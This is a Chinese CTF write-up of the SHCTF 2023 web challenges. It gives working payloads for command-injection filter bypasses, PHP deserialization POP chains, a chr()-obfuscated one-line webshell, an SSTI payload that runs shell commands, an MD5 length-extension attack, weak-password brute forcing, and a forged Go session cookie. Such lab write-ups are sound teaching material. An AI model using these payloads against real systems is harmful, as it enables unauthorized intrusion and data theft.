babyRCE
很明确了,RCE 的各种绕过。先通过 rce=c\at%09f\lag.php
拿下 flag.php
:
1 |
|
嗯… 那再通过 rce=env
看看 env:
1 | GZCTF_FLAG=not_flag |
看起来 Flag 不在这里,那就通过 rce=c\at%09/f\lag
拿下根目录下真的的 Flag:flag{7ce9df9b-e22c-4cd3-8232-bed2b1f14544}
1zzphp
分析代码得到两组看似矛盾的要求:传入的 num
不能出现数字,但是 intval($num)
的结果为真;要求传入的 code
包含 2023SHCTF
,又不能被正则 /.+?SHCTF/is
匹配到。
但是显然这些都可以使用 PHP 特性进行绕过:intval
函数如果传入的是数组,返回值则为这个数组的空与否,如果不是空的就返回 1,所以我们只需要让 $_GET['num']
是一个非空数组即可;preg_match
函数具有一个回溯次数上限,默认是 1000000,如果回溯次数超过这个数就会返回 False
。所以相关代码:
1 | (await(await fetch("/?num[]=1", { |
这样就可以得到 Flag:flag{cae9327f-b6fb-41ff-a3fa-492fef8947e8}
ez_serialize
很显然是 PHP 反序列化的利用,先看代码找到反序列化入口和利用点:class A
中调用了 include
函数,很显然这是利用点;class B
自定义了 __wakeup
方法,这便是攻击入口。
从利用点倒回来看,include
所在的是 __invoke
方法,所以需要有地方将对象作为函数来调用。在 class D
中可以看到这样的操作,它所在的是 __get
方法,那么就需要一个调用对象变量的操作,在 class C
的 __toString
方法中可以看到。很巧啊(出题人意图明显),反序列化入口中的 preg_match
函数在定义上要求第二个参数为 string
,如果 B::$q
是个对象的话就会调用它的 __toString
方法。
本来尝试通过 php://input
来实现任意代码执行的,但是发现好像被配置文件限制了,所以直接退一步使用 php://filter
来读取文件,得到 Flag。
所以先构造调用链:
1 | class A { |
可以得到 Payload:
1 | O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";s:3:"key";s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}} |
然后通过下面的代码执行攻击:
1 | (await(await fetch("/?payload=" + payload)).text()) |
就可以得到 Flag:flag{5957d25c-10d5-499d-9816-7efc7dd10511}
登录就给 Flag
一通审查后确认了只有一个登陆界面,直接进行弱密码尝试:
1 | import requests |
得到账号 admin
、密码 password
,登录后拿到 Flag:flag{77dc0618-2432-4022-8dea-31db61709cfd}
飞机大战
直接进行代码审计,在 JavaScript 中发现:
1 | var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0030\u004d\u0054\u0068\u0068\u0059\u0057\u0055\u0032\u004d\u0079\u0031\u006b\u004d\u007a\u005a\u0069\u004c\u0054\u0051\u0035\u004d\u007a\u0055\u0074\u004f\u0044\u005a\u006a\u0059\u0053\u0030\u0032\u0059\u007a\u0059\u0079\u0059\u0032\u0046\u0068\u005a\u0054\u0055\u0032\u005a\u0057\u004a\u0039\u000a"; |
所以直接运行这部分代码就可以拿到拿 Flag:flag{418aae63-d36b-4935-86ca-6c62caae56eb}
ezphp
看起来是对 preg_replace
的 /e
修饰符的利用(比如在 pattern
为 .\*
的情况下 code
传入 {${phpinfo()}}
),但是很显然这里的 preg_match
把各种可行的 Payload 都封死了,但是没关系可以绕过:preg_match
强制要求第二个参数必须是 string
,否则直接返回 False
,但是 preg_replace
的参数都可以传入数组,这样就能实现绕过。由于 preg_replace
中可操作性比较小,先直接释放个一句话木马。
1 | payload="eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(109).chr(100).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))" |
接下来就直接拿 Flag:flag{2da36d94-1638-4260-94ab-7feb3978e942}
生成你的邀请函吧~
直接按照要求发送一个请求:
1 | ((name, qq) => { |
就得到了 Flag:
serialize
很显然还是 PHP 反序列化的利用,先看代码找到反序列化入口和利用点:class milaoshu
中调用了 include
函数,很显然这是利用点;class musca
自定义了 __wakeup
方法,这便是攻击入口。那么,怎么样才能调用到 __toString
方法呢?一番查看后应该只有 class misca
中的 die($this->a);
可以做到这一点。但是因为
1 | public function miaomiao() { |
的存在,没法直接将 Payload 放在 misca::$a
中,怎么在它被赋值之后又变回 Payload 呢?PHP 的引用了解一下?
1 | class misca { public $gao; public $fei; public $a; } |
在这种情况下,虽然已经执行了 $this->a='Mikey Mouse~';
,但是仍然利用 $this->gao=$this->fei;
改变了 misca::$a
的值。
当然还有两点:对于正则匹配的绕过,用一个 Array 把数组裹起来就行了,这样序列化数据刚开始是一个 Array 而不是 Object。对于 $_GET["wanna_fl.ag"]
,显然直接提交 .
会被转义为 _
,但是可以用 wanna[fl.ag
作为 Key 来利用 Bug 绕过。利用下面的代码:
1 | payload = 'a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}' |
就可以得到 Flag:flag{36d60f8d-c781-40e2-8ba6-6517f9638e3f}
no_wake_up
很显然这题就是一个 Unserialize 但是需要绕过 __wakeup
函数,这好办,只要序列化的对象所含变量的数量大于定义的变量数量,__wakeup
函数就不会被调用:
1 | class flag { |
将得到的 Payload 提交上去就能拿到 flag.php
的 Base64 编码内容,解码后能够在里面找到 Flag:flag{c808f81b-9d12-45c2-a44f-440ece141150}
MD5 的事情就拜托了
稍微阅读题目,可以得知这是 MD5 的补充攻击,先得知道 Flag 的长度及其 MD5 值。通过下面的代码,可以实现两个部分的绕过,拿到想要的东西:
1 | fetch("/?length=1.001", { |
可以得知:
1 | flag.md5 = 1fb82a4b8ecbfe70fcde1d73b4d07083 |
不难在 GitHub 上找到 MD5 补充攻击的工具,利用工具直接生成 Payload:
1 | 请输入已知明文: |
利用下面的代码可以发送 Payload:
1 | md5 = "07b184289e248ce72ea9a85b205fd27c"; |
拿到 Flag:flag{a563a324-14cb-4d75-9043-4c794d845c21}
ez_ssti
刚开始可能不知道应该怎么做,但是尝试了一下就能知道 GET 通过 name 参数提交的内容会被渲染出来。直接去找一个 SSTI Payload,解决问题:
1 | {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} |
得到 Flag:flag{7cf7fc2e-030f-402e-ae63-f0f452dc19fc}
EasyCMS
题目给了一个 TaoCMS 环境,先去管理后台试试默认密码(首页直接给定的后台地址是不带端口号的,需要自己修改 URL 进入)。尝试后发现 admin:tao
可以直接登录后台管理面板,在导航栏可以找到文件管理的功能。
直接尝试将当前位置改为 ../
尝试获取父级目录,发现这是可行的操作。多次尝试后使用 ../../../
到达了根目录:
直接点击 flag
查看文件内容就能得到 Flag:flag{WoW_cm5_15_dAN9Erou5_alrI6Ht?_705ba83170d6}
快问快答
稍微手动控制下,在浏览器 Dev Tools 的 Console 里运行下面的代码就是了:
1 | setTimeout(() => { |
运行大约 50 次之后得到 Flag:
所以 Flag:flag{cOnGrA7ulATIon5_On_BECOMiN6_4_9Uick_9UEStloN_And_AnSW3R_gUy_40008e5dc083}
sseerriiaalliizzee
这题需要构造的链并不难看出来:
1 | Start::__toString -> CTF::dosomething -> file_put_contents<Any> |
但是问题在于 file_put_contents
函数执行之前,代码会在即将放入文件的内容之前加上一个 PHP 代码:die
。常规来讲如果尝试往文件中写入任何 PHP 代码,都会因为被这个 die
代码橄榄了而没法运行。其实这一点可以通过 php://filter
结合 Base64 解决,相关构造代码:
1 | class Start { |
这个 Payload 可以直接将一句话木马丢上去,然后就方便操作了。Flag 在 /flag
中:flag{ac342375-2020-4f1c-bde0-faca6d526b95}
gogogo
显然这个程序是使用 Cookie 保存 Session 的,但是这个 Cookie 有签名。阅读代码,用于 Cookie 签名的密钥是从环境变量里读的,盲猜题目环境并没有设置 SESSION_KEY
环境变量。稍微修改下代码:
1 | session.Values["name"] = "admin" |
然后 go run main.go
将整个程序跑起来,直接拿程序下发的 Cookie:
1 | HTTP/1.1 200 OK |
将这个 Cookie 用到题目环境中便可以完成第一个任务。接下来是 RCE 绕过,Go 语言这边就没 PHP 的特性了(指通过 Array 绕过),所以老老实实遵循这个正则 [b-zA-Z_@#%^&\*:{\|}+<>";\[\]]
。最终构造的 Payload 如下:
1 | $($'\146\151\156\144' / -$'\155\141\170\144\145\160\164\150' 1 -$'\164\171\160\145' $'\146') |
这个语句实际上是 $(find / -maxdepth 1 -type f)
,列出根目录下所有的文件然后丢给 strings 命令去读文件。最后拿到 Flag:flag{3Asy_c0M3_e4SY_GO0O_5ca7c4eee40e}
This article is authored by Luoingly and is licensed under CC BY-NC 4.0
Permalink: https://luoingly.top/post/shctf-2023-web-writeup/